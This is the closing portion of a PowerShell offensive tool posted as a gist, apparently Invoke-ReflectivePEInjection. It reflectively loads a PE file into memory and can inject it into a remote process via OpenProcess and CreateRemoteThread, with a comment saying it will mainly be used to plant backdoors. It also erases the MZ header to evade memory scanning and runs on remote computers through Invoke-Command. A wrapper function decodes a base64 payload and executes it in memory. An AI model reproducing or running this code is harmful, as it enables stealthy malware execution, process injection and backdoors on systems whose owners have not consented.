$Win32Functions = Get-Win32Functions | |
$Win32Types = Get-Win32Types | |
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants | |
#Call FreeLibrary for all the imports of the DLL | |
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) | |
{ | |
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) | |
while ($true) | |
{ | |
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) | |
#If the structure is null, it signals that this is the end of the array | |
if ($ImportDescriptor.Characteristics -eq 0 ` | |
-and $ImportDescriptor.FirstThunk -eq 0 ` | |
-and $ImportDescriptor.ForwarderChain -eq 0 ` | |
-and $ImportDescriptor.Name -eq 0 ` | |
-and $ImportDescriptor.TimeDateStamp -eq 0) | |
{ | |
Write-Verbose "Done unloading the libraries needed by the PE" | |
break | |
} | |
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) | |
$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) | |
if ($ImportDllHandle -eq $null) | |
{ | |
Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue | |
} | |
$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) | |
if ($Success -eq $false) | |
{ | |
Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue | |
} | |
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) | |
} | |
} | |
#Call DllMain with process detach | |
Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" | |
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) | |
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) | |
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) | |
$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null | |
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) | |
if ($Success -eq $false) | |
{ | |
Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue | |
} | |
} | |
Function Main | |
{ | |
$Win32Functions = Get-Win32Functions | |
$Win32Types = Get-Win32Types | |
$Win32Constants = Get-Win32Constants | |
$RemoteProcHandle = [IntPtr]::Zero | |
#If a remote process to inject in to is specified, get a handle to it | |
if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) | |
{ | |
Throw "Can't supply a ProcId and ProcName, choose one or the other" | |
} | |
elseif ($ProcName -ne $null -and $ProcName -ne "") | |
{ | |
$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) | |
if ($Processes.Count -eq 0) | |
{ | |
Throw "Can't find process $ProcName" | |
} | |
elseif ($Processes.Count -gt 1) | |
{ | |
$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId | |
Write-Output $ProcInfo | |
Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." | |
} | |
else | |
{ | |
$ProcId = $Processes[0].ID | |
} | |
} | |
#Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. | |
#If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege | |
# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) | |
# { | |
# Write-Verbose "Getting SeDebugPrivilege" | |
# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants | |
# } | |
if (($ProcId -ne $null) -and ($ProcId -ne 0)) | |
{ | |
$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) | |
if ($RemoteProcHandle -eq [IntPtr]::Zero) | |
{ | |
Throw "Couldn't obtain the handle for process ID: $ProcId" | |
} | |
Write-Verbose "Got the handle for the remote process to inject in to" | |
} | |
#Load the PE reflectively | |
Write-Verbose "Calling Invoke-MemoryLoadLibrary" | |
$PEHandle = [IntPtr]::Zero | |
if ($RemoteProcHandle -eq [IntPtr]::Zero) | |
{ | |
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR | |
} | |
else | |
{ | |
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR | |
} | |
if ($PELoadedInfo -eq [IntPtr]::Zero) | |
{ | |
Throw "Unable to load PE, handle returned is NULL" | |
} | |
$PEHandle = $PELoadedInfo[0] | |
$RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process | |
#Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. | |
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants | |
if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) | |
{ | |
######################################### | |
### YOUR CODE GOES HERE | |
######################################### | |
switch ($FuncReturnType) | |
{ | |
'WString' { | |
Write-Verbose "Calling function with WString return type" | |
[IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" | |
if ($WStringFuncAddr -eq [IntPtr]::Zero) | |
{ | |
Throw "Couldn't find function address." | |
} | |
$WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) | |
$WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) | |
[IntPtr]$OutputPtr = $WStringFunc.Invoke() | |
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) | |
Write-Output $Output | |
} | |
'String' { | |
Write-Verbose "Calling function with String return type" | |
[IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" | |
if ($StringFuncAddr -eq [IntPtr]::Zero) | |
{ | |
Throw "Couldn't find function address." | |
} | |
$StringFuncDelegate = Get-DelegateType @() ([IntPtr]) | |
$StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) | |
[IntPtr]$OutputPtr = $StringFunc.Invoke() | |
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) | |
Write-Output $Output | |
} | |
'Void' { | |
Write-Verbose "Calling function with Void return type" | |
[IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" | |
if ($VoidFuncAddr -eq [IntPtr]::Zero) | |
{ | |
Throw "Couldn't find function address." | |
} | |
$VoidFuncDelegate = Get-DelegateType @() ([Void]) | |
$VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) | |
$VoidFunc.Invoke() | Out-Null | |
} | |
} | |
######################################### | |
### END OF YOUR CODE | |
######################################### | |
} | |
#For remote DLL injection, call a void function which takes no parameters | |
elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) | |
{ | |
$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" | |
if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) | |
{ | |
Throw "VoidFunc couldn't be found in the DLL" | |
} | |
$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle | |
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle | |
#Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors | |
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions | |
} | |
#Don't free a library if it is injected in a remote process or if it is an EXE. | |
#Note that all DLL's loaded by the EXE will remain loaded in memory. | |
if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") | |
{ | |
Invoke-MemoryFreeLibrary -PEHandle $PEHandle | |
} | |
else | |
{ | |
#Delete the PE file from memory. | |
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) | |
if ($Success -eq $false) | |
{ | |
Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue | |
} | |
} | |
Write-Verbose "Done!" | |
} | |
Main | |
} | |
#Main function to either run the script locally or remotely | |
Function Main | |
{ | |
if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) | |
{ | |
$DebugPreference = "Continue" | |
} | |
Write-Verbose "PowerShell ProcessID: $PID" | |
#Verify the image is a valid PE file | |
$e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' | |
if ($e_magic -ne 'MZ') | |
{ | |
throw 'PE is not a valid PE file.' | |
} | |
if (-not $DoNotZeroMZ) { | |
# Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg | |
# TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. | |
$PEBytes[0] = 0 | |
$PEBytes[1] = 0 | |
} | |
#Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) | |
if ($ExeArgs -ne $null -and $ExeArgs -ne '') | |
{ | |
$ExeArgs = "ReflectiveExe $ExeArgs" | |
} | |
else | |
{ | |
$ExeArgs = "ReflectiveExe" | |
} | |
if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") | |
{ | |
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) | |
} | |
else | |
{ | |
Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName | |
} | |
} | |
Main | |
} | |
Function InvokeThings { | |
# Convert base64 string to byte array | |
$PEBytes = [System.Convert]::FromBase64String($InputString) | |
# Run EXE in memory | |
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "-w" | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment